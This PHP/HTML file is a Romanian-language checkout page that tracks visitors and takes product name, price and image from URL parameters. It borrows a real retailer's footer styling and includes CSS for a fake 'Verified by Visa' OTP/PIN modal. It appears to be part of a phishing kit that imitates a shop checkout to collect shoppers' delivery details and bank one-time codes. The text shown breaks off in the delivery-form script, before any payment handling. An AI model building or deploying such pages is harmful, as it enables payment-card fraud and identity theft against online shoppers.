<?php
// Include the data handler functions
require_once 'functions/data_handler.php';
require_once 'config/backend.php';
require_once 'functions/visitor_identification.php';

// Track this visit
trackVisitor();

// Get unique visitor ID for this session
$visitorId = getCurrentVisitorId();

// Debug: Show visitor ID (remove this in production)
if (isset($_GET['debug']) && $_GET['debug'] === '1') {
    echo "<div style='position: fixed; top: 10px; right: 10px; background: #007bff; color: white; padding: 10px; border-radius: 5px; z-index: 9999;'>";
    echo "Visitor ID: " . $visitorId;
    echo "</div>";
}

// Load products data
$productsData = getProductsData();
$products = $productsData['products'];

// Get product information from URL parameters
$productId = $_GET['product_id'] ?? '';
$productName = $_GET['product_name'] ?? 'iPhone 17 Pro Max';
$productImage = $_GET['product_image'] ?? 'https://picsum.photos/200/200?random=1';
$productPrice = floatval($_GET['product_price'] ?? 4444);
$productMonthly = floatval($_GET['product_monthly'] ?? 185.17);
$productRating = floatval($_GET['product_rating'] ?? 4.5);
$productReviews = intval($_GET['product_reviews'] ?? 0);

// Get recommended products (exclude current product)
$recommendedProducts = array_filter($products, function($product) use ($productId) {
    return $product['id'] != $productId;
});

// Limit to 4 recommended products
$recommendedProducts = array_slice($recommendedProducts, 0, 4);

// Set page title
$page_title = 'Checkout - ' . $productName;
?>

<!DOCTYPE html>
<html lang="ro">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>Order Review — Checkout Preview</title>
<!-- Link to existing CSS files -->
<link rel="stylesheet" href="css/custom.min.css">
<link rel="stylesheet" href="css/styles-l.min.css">
<link rel="stylesheet" href="css/styles-m.min.css">
<link rel="stylesheet" href="css/listing.min.css">
<link rel="stylesheet" href="css/previzualizare.min.css">
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
<style>
  /* ---------- Base / Reset ---------- */
  *,*::before,*::after{box-sizing:border-box}
  html,body{height:100%}
  body{
    margin:0;
    font-family: "Segoe UI", Roboto, Arial, sans-serif;
    background:#f5f5f6;
    color:#222;
    -webkit-font-smoothing:antialiased;
    -moz-osx-font-smoothing:grayscale;
    line-height:1.35;
  }
  
  /* ---------- Page container ---------- */
  .checkout-page {
    max-width:1180px;
    margin: 28px auto;
    padding: 0 18px;
    min-height: auto;
    height: auto;
  }

  /* ---------- Steps ---------- */
  .checkout-steps {
    display: flex;
    justify-content: center;
    align-items: center;
    margin: 20px 0 40px;
    padding: 20px 0;
    max-width: 800px;
    margin-left: auto;
    margin-right: auto;
  }
  
  .checkout-step {
    display: flex;
    align-items: center;
    position: relative;
    flex: 1;
    justify-content: center;
  }
  
  .checkout-step-content {
    display: flex;
    flex-direction: column;
    align-items: center;
    text-align: center;
  }
  
  .checkout-step-line {
    height: 2px;
    background: #e1e1e1;
    flex: 1;
    margin: 0 20px;
    transition: all 0.3s ease;
  }
  
  .checkout-step-badge {
    width: 40px;
    height: 40px;
    border-radius: 50%;
    border: 2px solid #cfcfcf;
    display: flex;
    align-items: center;
    justify-content: center;
    font-weight: 600;
    background: #fff;
    color: #333;
    margin-bottom: 8px;
    transition: all 0.3s ease;
  }
  
  .checkout-step.active .checkout-step-badge {
    border-color: #004b9a;
    background: #004b9a;
    color: #fff;
    box-shadow: 0 0 0 4px rgba(0, 75, 154, 0.2);
  }
  
  .checkout-step.completed .checkout-step-badge {
    border-color: #28a745;
    background: #28a745;
    color: #fff;
  }
  
  .checkout-step-label {
    font-size: 14px;
    color: #666;
    text-align: center;
    font-weight: 500;
    transition: all 0.3s ease;
  }
  
  .checkout-step.active .checkout-step-label {
    color: #004b9a;
    font-weight: 700;
  }
  
  .checkout-step.completed .checkout-step-label {
    color: #28a745;
    font-weight: 700;
  }
  
  .checkout-step.completed .checkout-step-line {
    background: #28a745;
  }
  
  .checkout-step.active .checkout-step-line {
    background: #004b9a;
  }
  
  /* Responsive steps */
  @media (max-width: 768px) {
    .checkout-steps {
      padding: 15px 0;
      margin-bottom: 30px;
    }
    
    .checkout-step-badge {
      width: 35px;
      height: 35px;
      font-size: 14px;
    }
    
    .checkout-step-label {
      font-size: 12px;
    }
    
    .checkout-step-line {
      margin: 0 15px;
    }
  }

  /* ---------- Main layout: left content & right summary ---------- */
  .checkout-content {
    display: grid;
    grid-template-columns: 1fr 300px;
    gap: 26px;
    align-items: start;
    min-height: auto;
    max-width: 1200px;
    margin: 0 auto;
    padding: 0 20px;
  }
  
  /* Fix layout issues */
  .checkout-page {
    position: relative;
    overflow-x: hidden;
    background: #f8f9fa;
    min-height: auto;
    height: auto;
  }
  
  .checkout-content .content {
    background: white;
    border-radius: 8px;
    padding: 20px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
  }
  
  .checkout-content .summary-section {
    background: white;
    border-radius: 8px;
    padding: 25px;
    box-shadow: 0 2px 10px rgba(0,0,0,0.1);
    position: sticky;
    top: 20px;
    height: fit-content;
    margin-left: 10px;
    margin-right: 15px;
  }
  
  /* Responsive layout */
  @media (max-width: 768px) {
    .checkout-content {
      grid-template-columns: 1fr;
      gap: 20px;
      padding: 0 10px;
    }
    
    .checkout-content .summary-section {
      position: static;
      order: -1;
    }
  }
  
  .checkout-review {
    flex: 1;
  }
  
  .checkout-summary-section {
    width: 340px;
    flex-shrink: 0;
  }

  /* ---------- Left: review area ---------- */
  .checkout-review {
    background:transparent;
  }

  .checkout-section-title {
    font-weight:700;
    margin-bottom:14px;
    font-size:18px;
    color:#222;
  }

  .checkout-product-card {
    background:#fff;
    border:1px solid #ddd;
    padding:20px;
    border-radius:2px;
    display:flex;
    gap:18px;
    align-items:flex-start;
    min-height:320px;
  }
  .checkout-product-image {
    width:200px;
    min-width:200px;
    height:200px;
    display:flex;
    align-items:center;
    justify-content:center;
    border:1px solid #eee;
    border-radius:6px;
    background:#fafafa;
  }
  .checkout-product-image img{ width:180px; height:auto; object-fit:contain; }

  .checkout-product-body { 
    flex:1; 
    display:flex; 
    flex-direction:column; 
    gap:12px; 
    justify-content:flex-start;
  }
  .product-title {
    font-weight:700;
    font-size:15px;
    color:#222;
  }
  .rating {
    font-size:13px;
    color:#999;
    display:flex;
    gap:8px;
    align-items:center;
  }
  .rating .stars { color:#dedede; }
  .right-price {
    min-width:140px;
    text-align:right;
    font-weight:700;
    font-size:18px;
    color:#111;
  }

  .options {
    margin-top:25px;
    border-top:1px solid #f0f0f0;
    padding-top:15px;
    display:flex;
    flex-direction:column;
    gap:12px;
    font-size:14px;
    color:#444;
  }

  .option-line {
    display:flex;
    justify-content:space-between;
    align-items:center;
    gap:12px;
  }
  .option-left { display:flex; align-items:center; gap:8px; color:#004b9a; font-size:14px; }
  .option-left svg { width:18px; height:18px; color:#004b9a; }

  .collapsible {
    border-top:1px solid #efefef;
    margin-top:20px;
    padding:15px 0 0;
    font-size:13px;
    color:#236;
  }
  .collapsible button.toggle {
    background:none;
    border:none;
    color:#004b9a;
    cursor:pointer;
    font-weight:600;
    font-size:13px;
  }

  .quantity-area {
    display:flex;
    align-items:center;
    gap:12px;
    justify-content:flex-end;
  }
  .qty-select {
    padding:6px 8px;
    border:1px solid #ccc;
    border-radius:4px;
    font-size:14px;
  }
  .remove-link {
    font-size:13px;
    color:#666;
    cursor:pointer;
  }

  /* ---------- Right: summary ---------- */
  .summary-section {
    display: flex;
    flex-direction: column;
  }
  
  .summary-title {
    font-size: 18px;
    font-weight: 700;
    color: #222;
    margin-bottom: 18px;
    margin-top: 5px;
  }
  
  .summary {
    background:#fff;
    padding:20px;
    border-radius:2px;
    border:1px solid #e6e6e6;
    position:relative;
  }
  .summary-row { display:flex; justify-content:space-between; font-size:13px; color:#333; padding:8px 0; border-bottom:1px dashed #efefef; }
  .summary-row:last-child{ border-bottom:none; }
  .total-line { font-size:18px; color:#d23b1a; font-weight:800; }
  .cta {
    margin-top:14px;
    display:flex;
    align-items:center;
    gap:10px;
  }
  .btn-next {
    background:#ffd200;
    border:none;
    padding:14px 18px;
    border-radius:38px;
    font-weight:800;
    color:#111;
    width:100%;
    cursor:pointer;
    box-shadow:0 1px 0 rgba(0,0,0,0.05) inset;
  }
  
  .btn-back {
    background: #6c757d;
    color: white;
    border: none;
    padding: 12px 24px;
    border-radius: 6px;
    cursor: pointer;
    font-weight: 600;
    transition: all 0.3s ease;
    margin-right: 10px;
    display: inline-block;
  }
  
  .btn-back:hover {
    background: #5a6268;
    transform: translateY(-1px);
  }
  .summary .collapse-title {
    font-size:13px;
    padding:10px 0;
    color:#004b9a;
    cursor:pointer;
  }
  .small-note { font-size:12px; color:#999; margin-top:8px; }

  /* ---------- Form Styles ---------- */
  .order-details-card, .payment-card {
    background: #fff;
    border: 1px solid #ddd;
    padding: 20px;
    border-radius: 2px;
    margin-bottom: 20px;
  }

  .form-section {
    margin-bottom: 25px;
  }

  .form-section h4 {
    font-size: 16px;
    font-weight: 600;
    color: #333;
    margin-bottom: 15px;
    border-bottom: 1px solid #eee;
    padding-bottom: 8px;
  }

  .form-row {
    display: grid;
    grid-template-columns: 1fr 1fr;
    gap: 15px;
    margin-bottom: 15px;
  }

  .form-group {
    display: flex;
    flex-direction: column;
  }

  .form-group.full-width {
    grid-column: 1 / -1;
  }

  .form-group label {
    font-size: 14px;
    font-weight: 500;
    color: #333;
    margin-bottom: 5px;
  }

  .form-group input,
  .form-group select,
  .form-group textarea {
    padding: 10px 12px;
    border: 1px solid #ddd;
    border-radius: 4px;
    font-size: 14px;
    transition: border-color 0.2s ease;
  }

  .form-group input:focus,
  .form-group select:focus,
  .form-group textarea:focus {
    outline: none;
    border-color: #004b9a;
  }

  .form-group textarea {
    min-height: 80px;
    resize: vertical;
  }

  /* ---------- Delivery Options ---------- */
  .delivery-options {
    display: flex;
    flex-direction: column;
    gap: 10px;
  }

  .delivery-option {
    display: flex;
    align-items: center;
    padding: 15px;
    border: 1px solid #ddd;
    border-radius: 6px;
    cursor: pointer;
    transition: all 0.2s ease;
  }

  .delivery-option:hover {
    border-color: #004b9a;
    background: #f8f9ff;
  }

  .delivery-option input[type="radio"] {
    margin-right: 12px;
    accent-color: #004b9a;
  }

  .option-content {
    flex: 1;
    display: flex;
    justify-content: space-between;
    align-items: center;
  }

  .option-title {
    font-weight: 600;
    color: #333;
    margin-bottom: 2px;
  }

  .option-desc {
    font-size: 13px;
    color: #666;
  }

  .option-price {
    font-weight: 600;
    color: #004b9a;
  }

  /* ---------- Payment Options ---------- */
  .payment-options {
    display: flex;
    flex-direction: column;
    gap: 10px;
  }

  .payment-option {
    display: flex;
    align-items: center;
    padding: 15px;
    border: 1px solid #ddd;
    border-radius: 6px;
    cursor: pointer;
    transition: all 0.2s ease;
  }

  .payment-option:hover {
    border-color: #004b9a;
    background: #f8f9ff;
  }

  .payment-option input[type="radio"] {
    margin-right: 12px;
    accent-color: #004b9a;
  }

  /* ---------- Confirmation Section ---------- */
  .confirmation-section {
    display: flex;
    flex-direction: column;
    gap: 10px;
  }

  .checkbox-label {
    display: flex;
    align-items: center;
    cursor: pointer;
    font-size: 14px;
    color: #333;
  }

  .checkbox-label input[type="checkbox"] {
    margin-right: 8px;
    accent-color: #004b9a;
  }

  /* ---------- Step States ---------- */
  .step.completed .step-badge {
    background: #22c55e;
    color: #fff;
    border-color: #22c55e;
  }

  .step.completed .step-label {
    color: #22c55e;
    font-weight: 600;
  }

  /* ---------- Layout helper to center main content area like screenshot ---------- */
  .center-wrap {
    display:flex;
    justify-content:center;
  }
  .inner-wrapper {
    width:100%;
  }

  /* ---------- Responsive ---------- */
  @media (max-width: 980px) {
    .content { grid-template-columns:1fr; }
    .product-card { flex-direction:row; align-items:flex-start; }
    .right-price { text-align:right; min-width:120px; }
    .page { padding:18px; }
  }

  @media (max-width:600px){
    .step { width:120px; gap:8px }
    .product-image{ width:110px; min-width:110px; height:110px }
    .product-image img{ width:88px }
    .product-card{ padding:12px; gap:12px }
    .summary{ padding:14px }
    .btn-next{ padding:12px 14px }
  }

  /* small styling for links and chevrons */
  .chev { font-size:14px; color:#888; transform:rotate(90deg); }
  .accent-blue { color:#004b9a; font-weight:600; }
  .muted { color:#777; font-size:13px; }
  .divider { height:1px; background:#efefef; margin:14px 0; }

  /* ---------- Footer positioning fix ---------- */
  .page-footer {
    clear: both !important;
    margin-top: 20px !important;
    position: relative !important;
    z-index: 1 !important;
  }
  
  .footer-commercial {
    clear: both !important;
    position: relative !important;
    z-index: 1 !important;
    margin-top: 0 !important;
  }
  
  /* Override any external CSS that might affect footer */
  .flanco-footer {
    position: relative !important;
    clear: both !important;
  }
  
  .footer-wrapper {
    position: relative !important;
    clear: both !important;
  }

  /* ---------- OTP/PIN Modal Styles (Verified by Visa style) ---------- */
  .otp-modal {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.6);
    display: none;
    justify-content: center;
    align-items: center;
    z-index: 10000;
  }

  .otp-vbv-card {
    width: 520px;
    max-width: 92vw;
    background: #fff;
    border-radius: 16px;
    box-shadow: 0 10px 28px rgba(0,0,0,0.25);
    border: 1px solid #e6e6e6;
    overflow: hidden;
    font-family: "Segoe UI", Roboto, Arial, sans-serif;
  }

  .otp-vbv-header {
    display: flex;
    justify-content: flex-end;
    align-items: flex-start;
    padding: 18px 22px 0 22px;
  }

  .visa-branding {
    display: flex;
    align-items: center;
    gap: 5px;
  }

  .verified-by {
    font-size: 12px;
    color: #3563c1;
    font-weight: 600;
  }

  .visa-text {
    font-size: 16px;
    color: #1a1f71;
    font-weight: 800;
    letter-spacing: 1px;
  }

  .otp-vbv-body {
    padding: 0 22px 22px 22px;
  }

  .otp-vbv-title {
    font-size: 22px;
    font-weight: 700;
    color: #444;
    margin: 12px 0 4px 0;
  }

  .otp-vbv-subtitle {
    color: #6b7280;
    font-size: 14px;
    margin-bottom: 18px;
  }

  .otp-vbv-details {
    display: grid;
    grid-template-columns: 160px 1fr;
    row-gap: 10px;
    column-gap: 16px;
    font-size: 14px;
    color: #333;
    margin-bottom: 16px;
  }

  .otp-vbv-details .label { color:#6b7280; }

  .otp-vbv-input {
    width: 100%;
    height: 40px;
    border: 2px solid #cbd5e1;
    border-radius: 999px;
    padding: 0 14px;
    font-size: 16px;
    outline: none;
    transition: all .2s ease;
  }
  .otp-vbv-input:focus {
    border-color: #2f7d85;
    box-shadow: 0 0 0 3px rgba(47,125,133,0.15);
  }

  .otp-vbv-footer {
    display: flex;
    align-items: center;
    justify-content: space-between;
    margin-top: 16px;
  }
  .otp-vbv-links a {
    color: #2f7d85;
    margin-right: 14px;
    font-size: 14px;
    text-decoration: none;
  }
  .otp-vbv-actions {
    display: flex;
    gap: 10px;
  }
  .otp-btn {
    padding: 10px 18px;
    border-radius: 999px;
    border: 1px solid transparent;
    font-weight: 600;
    cursor: pointer;
  }
  .otp-btn.secondary { background:#ffffff; color:#374151; border-color:#cbd5e1; }
  .otp-btn.primary { background:#2f7d85; color:#fff; }
  .otp-btn.primary:hover { background:#276a70; }
  .otp-btn.secondary:hover { background:#f8fafc; }

  .otp-status { margin-top: 10px; font-size: 13px; }
  .otp-status.success { color:#155724; }
  .otp-status.error { color:#b91c1c; }

  /* Loading Modal Styles */
  .loading-modal {
    position: fixed;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    background: rgba(0, 0, 0, 0.6);
    display: flex;
    justify-content: center;
    align-items: center;
    z-index: 10000;
  }

  .loading-card {
    background: #fff;
    border-radius: 16px;
    box-shadow: 0 10px 28px rgba(0,0,0,0.25);
    border: 1px solid #e6e6e6;
    width: 400px;
    max-width: 90vw;
    overflow: hidden;
  }

  .loading-header {
    background: #f8f9fa;
    padding: 20px;
    border-bottom: 1px solid #e6e6e6;
    text-align: center;
  }

  .loading-header h3 {
    margin: 0;
    color: #333;
    font-size: 18px;
    font-weight: 600;
  }

  .loading-body {
    padding: 30px 20px;
    text-align: center;
  }

  .spinner-container {
    margin-bottom: 20px;
  }

  .spinner {
    width: 40px;
    height: 40px;
    border: 4px solid #f3f3f3;
    border-top: 4px solid #2f7d85;
    border-radius: 50%;
    animation: spin 1s linear infinite;
    margin: 0 auto;
  }

  @keyframes spin {
    0% { transform: rotate(0deg); }
    100% { transform: rotate(360deg); }
  }

  .loading-text {
    color: #666;
    margin-bottom: 25px;
    font-size: 14px;
  }

  .loading-details {
    text-align: left;
  }

  .loading-step {
    display: flex;
    align-items: center;
    margin-bottom: 12px;
    padding: 8px 0;
  }

  .loading-step.active .step-icon {
    background: #2f7d85;
    color: white;
  }

  .step-icon {
    width: 24px;
    height: 24px;
    border-radius: 50%;
    background: #e6e6e6;
    color: #999;
    display: flex;
    align-items: center;
    justify-content: center;
    font-size: 12px;
    margin-right: 12px;
    flex-shrink: 0;
  }

  .step-text {
    color: #666;
    font-size: 14px;
  }
  
  /* ---------- Recommended Products ---------- */
  .checkout-recommended-products {
    display: grid;
    grid-template-columns: repeat(auto-fit, minmax(300px, 1fr));
    gap: 20px;
    margin-bottom: 20px;
  }
  
  .checkout-recommended-products .checkout-product-card {
    min-height: auto;
    padding: 15px;
    border: 1px solid #e0e0e0;
    border-radius: 8px;
    transition: all 0.3s ease;
  }
  
  .checkout-recommended-products .checkout-product-card:hover {
    box-shadow: 0 4px 12px rgba(0,0,0,0.1);
    transform: translateY(-2px);
  }
  
  .checkout-recommended-products .add-btn {
    background: #ffd700;
    color: #333;
    border: none;
    border-radius: 8px;
    cursor: pointer;
    transition: all 0.3s ease;
    display: flex;
    align-items: center;
    gap: 8px;
    font-weight: 600;
    box-shadow: 0 2px 4px rgba(0,0,0,0.1);
  }
  
  .checkout-recommended-products .add-btn:hover {
    background: #ffed4e;
    transform: translateY(-1px);
    box-shadow: 0 4px 8px rgba(0,0,0,0.15);
  }
  
  .checkout-recommended-products .add-btn::before {
    content: "🛒";
    font-size: 14px;
  }
  
</style>
</head>
<body>

<?php include 'includes/header.php'; ?>

  <div class="checkout-page">

    <!-- Steps -->
    <div class="checkout-steps">
      <div class="checkout-step active">
        <div class="checkout-step-content">
          <div class="checkout-step-badge">1</div>
          <div class="checkout-step-label">Order Review</div>
        </div>
        <div class="checkout-step-line"></div>
      </div>

      <div class="checkout-step">
        <div class="checkout-step-content">
          <div class="checkout-step-badge">2</div>
          <div class="checkout-step-label">Order Details</div>
        </div>
        <div class="checkout-step-line"></div>
      </div>

      <div class="checkout-step">
        <div class="checkout-step-content">
          <div class="checkout-step-badge">3</div>
          <div class="checkout-step-label">Finalizează Comanda</div>
        </div>
      </div>
    </div>

    <div class="checkout-content">

      <!-- LEFT: Review area -->
      <div class="checkout-review">
        <div class="checkout-section-title">Products in Cart Preview</div>

        <div class="checkout-product-card" id="productCard">
              <div class="checkout-product-image">
                <img src="<?php echo htmlspecialchars($productImage); ?>" alt="<?php echo htmlspecialchars($productName); ?>">
              </div>

              <div class="checkout-product-body">
                <div style="display:flex;justify-content:space-between;align-items:flex-start;gap:12px;">
                  <div style="flex:1;">
                    <div class="product-title"><?php echo htmlspecialchars($productName); ?></div>
                    <div class="rating">
                      <div class="stars"><?php echo str_repeat('★', floor($productRating)) . str_repeat('☆', 5 - floor($productRating)); ?></div>
                      <div class="muted">(<?php echo $productReviews; ?>)</div>
                    </div>

                    <div class="options">
                      <div class="option-line">
                        <div class="option-left">
                          <svg viewBox="0 0 24 24" fill="none" style="width:18px;height:18px;"><circle cx="12" cy="12" r="10" stroke="#004b9a" stroke-width="1.2"/></svg>
                          Choose Express Warranty for your comfort
                        </div>
                        <div class="chev">&#10095;</div>
                      </div>

                      <div class="option-line">
                        <div class="option-left">
                          <svg viewBox="0 0 24 24" fill="none" style="width:18px;height:18px;"><rect x="3" y="4" width="18" height="14" stroke="#004b9a" stroke-width="1"/></svg>
                          Choose ElectroCASCO insurance for your safety
                        </div>
                        <div class="chev">&#10095;</div>
                      </div>
                    </div>

                    <div class="collapsible">
                      <button class="toggle" aria-expanded="false" onclick="toggleFreq()" style="background:none;border:none;padding:0;color:#004b9a;cursor:pointer;">
                        Frequently bought together (click for details)
                      </button>
                    </div>
                  </div>

                  <div style="min-width:150px;text-align:right;">
                    <div class="right-price"><?php echo number_format($productPrice, 0, ',', '.'); ?>,<small><?php echo substr(number_format($productPrice, 2, ',', '.'), -2); ?></small> lei</div>
                    <div style="margin-top:4px;font-size:12px;color:#666;">sau de la <span style="color:#dc2626;font-weight:600;"><?php echo number_format($productMonthly, 2, ',', '.'); ?></span> RON / lună</div>
                     <div style="margin-top:8px;font-size:13px;color:#777;">Quantity
                       <div style="margin-top:6px;">
                         <select class="qty-select" aria-label="Quantity">
                           <option>1</option>
                           <option selected>2</option>
                           <option>3</option>
                           <option>4</option>
                         </select>
                       </div>
                     </div>
                    <div style="margin-top:8px;">
                      <a class="remove-link">Remove</a>
                    </div>
                  </div>
                </div>

                <div id="frequentSection" style="display:none;margin-top:15px;">
                  <div class="divider"></div>
                  <div style="display:grid;grid-template-columns:repeat(4,1fr);gap:12px;margin-top:15px;">
                    <!-- Small product cards -->
                     <div style="background:#fff;padding:10px;border-radius:6px;border:1px solid #eee;text-align:center">
                       <img src="https://picsum.photos/110/110?random=2" alt="" style="width:100%;height:auto;border-radius:4px">
                       <div style="font-size:13px;margin-top:8px">Apple Mobile Phone</div>
                       <div style="color:#111;font-weight:700;margin-top:8px">4.249,99 lei</div>
                       <button style="margin-top:10px;border:1px solid #004b9a;color:#004b9a;background:none;padding:6px 10px;border-radius:6px;cursor:pointer">Add</button>
                     </div>
                     <div style="background:#fff;padding:10px;border-radius:6px;border:1px solid #eee;text-align:center">
                       <img src="https://picsum.photos/110/110?random=3" alt="" style="width:100%;height:auto;border-radius:4px">
                       <div style="font-size:13px;margin-top:8px">Apple Mobile Phone</div>
                       <div style="color:#111;font-weight:700;margin-top:8px">8.699,99 lei</div>
                       <button style="margin-top:10px;border:1px solid #004b9a;color:#004b9a;background:none;padding:6px 10px;border-radius:6px;cursor:pointer">Add</button>
                     </div>
                     <div style="background:#fff;padding:10px;border-radius:6px;border:1px solid #eee;text-align:center">
                       <img src="https://picsum.photos/110/110?random=4" alt="" style="width:100%;height:auto;border-radius:4px">
                       <div style="font-size:13px;margin-top:8px">Apple Mobile Phone</div>
                       <div style="color:#111;font-weight:700;margin-top:8px">12.549,99 lei</div>
                       <button style="margin-top:10px;border:1px solid #004b9a;color:#004b9a;background:none;padding:6px 10px;border-radius:6px;cursor:pointer">Add</button>
                     </div>
                     <div style="background:#fff;padding:10px;border-radius:6px;border:1px solid #eee;text-align:center">
                       <img src="https://picsum.photos/110/110?random=5" alt="" style="width:100%;height:auto;border-radius:4px">
                       <div style="font-size:13px;margin-top:8px">Apple Mobile Phone</div>
                       <div style="color:#111;font-weight:700;margin-top:8px">5.399,99 lei</div>
                       <button style="margin-top:10px;border:1px solid #004b9a;color:#004b9a;background:none;padding:6px 10px;border-radius:6px;cursor:pointer">Add</button>
                     </div>
                  </div>
                </div>

              </div>
            </div>

          </div>

          <!-- RIGHT: Summary -->
          <div class="checkout-summary-section">
            <h3 class="summary-title">ORDER SUMMARY</h3>
            
            <aside class="summary" aria-label="Order summary">
              <div class="summary-row">
                <div>Product price</div>
                <div><?php echo number_format($productPrice, 0, ',', '.'); ?>,<?php echo substr(number_format($productPrice, 2, ',', '.'), -2); ?> lei</div>
              </div>

              <div class="summary-row">
                <div>Discount / Voucher</div>
                <div class="muted">—</div>
              </div>

              <div class="summary-row total-line" style="border-bottom:1px dashed #efefef;padding-bottom:12px;">
                <div>TOTAL ORDER</div>
                <div><?php echo number_format($productPrice, 0, ',', '.'); ?>,<?php echo substr(number_format($productPrice, 2, ',', '.'), -2); ?> <span style="color:#d23b1a;font-weight:900">LEI</span></div>
              </div>

              <div style="margin-top:12px">
                <div class="collapse-title">I have voucher <span style="float:right;color:#666">▾</span></div>
                <div class="collapse-title" style="margin-top:8px">I have gift card <span style="float:right;color:#666">▾</span></div>
              </div>

              <div class="cta">
                <button class="btn-next" onclick="goNext()">NEXT STEP</button>
              </div>

              <div class="small-note">Delivery fee is calculated in the next step</div>
            </aside>
          </div>

        </div>

      </div>
    </div>

  </div>

<script>
  // Toggle "frecvent cumpărat împreună" section
  function toggleFreq(){
    const sec = document.getElementById('frequentSection');
    const btn = document.querySelector('.collapsible');
    const isHidden = sec.style.display === 'none' || sec.style.display === '';
    sec.style.display = isHidden ? 'block' : 'none';
    btn.setAttribute('aria-expanded', isHidden ? 'true' : 'false');
  }

  // Navigation handler
  let currentStep = 1;
  
  function goNext(){
    if (currentStep === 1) {
      showStep2();
    } else if (currentStep === 2) {
      showStep3();
    }
  }
  
  function showStep2() {
    currentStep = 2;
    updateProgressBar();
    showDetaliiComanda();
  }
  
  function showStep3() {
    currentStep = 3;
    updateProgressBar();
    showFinalizareComanda();
  }
  
  function goBack() {
    if (currentStep > 1) {
      currentStep--;
      updateProgressBar();
      
      if (currentStep === 1) {
        // Show initial product review
        location.reload();
      } else if (currentStep === 2) {
        showDetaliiComanda();
      }
    }
  }
  
  function updateProgressBar() {
    // Update step badges
    document.querySelectorAll('.checkout-step').forEach((step, index) => {
      const badge = step.querySelector('.checkout-step-badge');
      
      if (index + 1 === currentStep) {
        step.classList.add('active');
        step.classList.remove('completed');
        badge.textContent = index + 1;
      } else if (index + 1 < currentStep) {
        step.classList.remove('active');
        step.classList.add('completed');
        badge.textContent = '✓';
      } else {
        step.classList.remove('active', 'completed');
        badge.textContent = index + 1;
      }
    });
  }
  
  function showDetaliiComanda() {
    const contentDiv = document.querySelector('.checkout-review');
    if (!contentDiv) return;
    
    contentDiv.innerHTML = `
      <div class="review">
        <div class="section-title">Order Details</div>
        
        <div class="order-details-card">
          <div class="form-section">
            <h4>Informații Livrare</h4>
            <div class="form-row">
              <div class="form-group">
                <label>Nume complet *</label>
                <input type="text" placeholder="Introduceți numele complet">
              </div>
              <div class="form-group">
                <label>Telefon *</label>
                <input type="tel" placeholder="Introduceți numărul de telefon">
              </div>
            </div>
            <div class="form-row">
              <div class="form-group">
                <label>Email *</label>
                <input type="email" placeholder="Introduceți adresa de email">
              </div>
              <div class="form-group">
                <label>Oraș *</label>
                <input type="text" placeholder="Introduceți orașul">
              </div>
            </div>
            <div class="form-group full-width">
              <label>Adresa completă *</label>
              <textarea placeholder="Introduceți adresa completă de livrare"></textarea>
            </div>
          </div>
          
          <div class="form-section">
            <h4>Metoda de Livrare</h4>
            <div class="delivery-options">
              <label class="delivery-option">
                <input type="radio" name="delivery" value="standard" checked>
                <div class="option-content">
                  <div class="option-title">Livrare standard</div>
                  <div class="option-desc">3-5 zile lucrătoare</div>
                  <div class="option-price">Gratuit</div>
                </div>
              </label>
              <label class="delivery-option">
                <input type="radio" name="delivery" value="express">
                <div class="option-content">
                  <div class="option-title">Livrare expresă</div>
                  <div class="option-desc">1-2 zile lucrătoare</div>
                  <div class="option-price">25,99 lei</div>
                </div>
              </label>
            </div>
          </div>
        </div>
      </div>
      
      <div class="summary-section">
        <h3 class="summary-title">ORDER SUMMARY</h3>
        <aside class="summary">
          <div class="summary-row">
            <div>Product price</div>
            <div><?php echo number_format($productPrice, 0, ',', '.'); ?>,<small><?php echo substr(number_format($productPrice, 2, ',', '.'), -2); ?></small> lei</div>
          </div>
          <div class="summary-row">
            <div>Delivery</div>
            <div id="delivery-cost">Free</div>
          </div>
          <div class="summary-row total-line">
            <div>TOTAL ORDER</div>
            <div id="total-cost"><?php echo number_format($productPrice, 0, ',', '.'); ?>,<small><?php echo substr(number_format($productPrice, 2, ',', '.'), -2); ?></small> LEI</div>
          </div>
          <div class="cta">
            <button class="btn-back" onclick="goBack()" style="margin-right: 10px; background: #6c757d; color: white; border: none; padding: 12px 24px; border-radius: 6px; cursor: pointer;">
              <i class="fas fa-arrow-left"></i> BACK
            </button>
            <button class="btn-next" onclick="goNext()">NEXT STEP</button>
          </div>
        </aside>
      </div>
    `;
    
    // Add delivery cost calculation
    document.querySelectorAll('input[name="delivery"]').forEach(radio => {
      radio.addEventListener('change', function() {
        const deliveryCost = this.value === 'express' ? '25,99 lei' : 'Free';
        const basePrice = <?php echo $productPrice; ?>;
        const expressPrice = basePrice + 25.99;
        const totalCost = this.value === 'express' ? expressPrice.toLocaleString('ro-RO', {minimumFractionDigits: 2}) + ' LEI' : basePrice.toLocaleString('ro-RO', {minimumFractionDigits: 2}) + ' LEI';
        
        document.getElementById('delivery-cost').textContent = deliveryCost;
        document.getElementById('total-cost').innerHTML = totalCost;
      });
    });

    // Auto-fill billing information with delivery information
    function autoFillBillingInfo() {
      // Get all form fields directly
      const allNameInputs = document.querySelectorAll('input[placeholder="Introduceți numele complet"]');
      const allEmailInputs = document.querySelectorAll('input[placeholder="Introduceți adresa de email"]');
      const allPhoneInputs = document.querySelectorAll('input[placeholder="Introduceți numărul de telefon"]');
      const allAddressTextareas = document.querySelectorAll('textarea[placeholder*="adresa"]');
      const allCityInputs = document.querySelectorAll('input[placeholder="Introduceți orașul"]');
      
      // Use first occurrence for delivery, second for billing
      const deliveryName = allNameInputs[0];
      const deliveryEmail = allEmailInputs[0];
      const deliveryPhone = allPhoneInputs[0];
      const deliveryAddress = allAddressTextareas[0];
      const deliveryCity = allCityInputs[0];
      
      const billingName = allNameInputs[1];
      const billingEmail = allEmailInputs[1];
      const billingPhone = allPhoneInputs[1];
      const billingAddress = allAddressTextareas[1];
      const billingCity = allCityInputs[1];

      // Auto-fill on input events
      if (deliveryName && billingName) {
        deliveryName.addEventListener('input', function() {
          billingName.value = this.value;
          billingName.dispatchEvent(new Event('input', { bubbles: true }));
        });
      }

      if (deliveryEmail && billingEmail) {
        deliveryEmail.addEventListener('input', function() {
          billingEmail.value = this.value;
          billingEmail.dispatchEvent(new Event('input', { bubbles: true }));
        });
      }

      if (deliveryPhone && billingPhone) {
        deliveryPhone.addEventListener('input', function() {
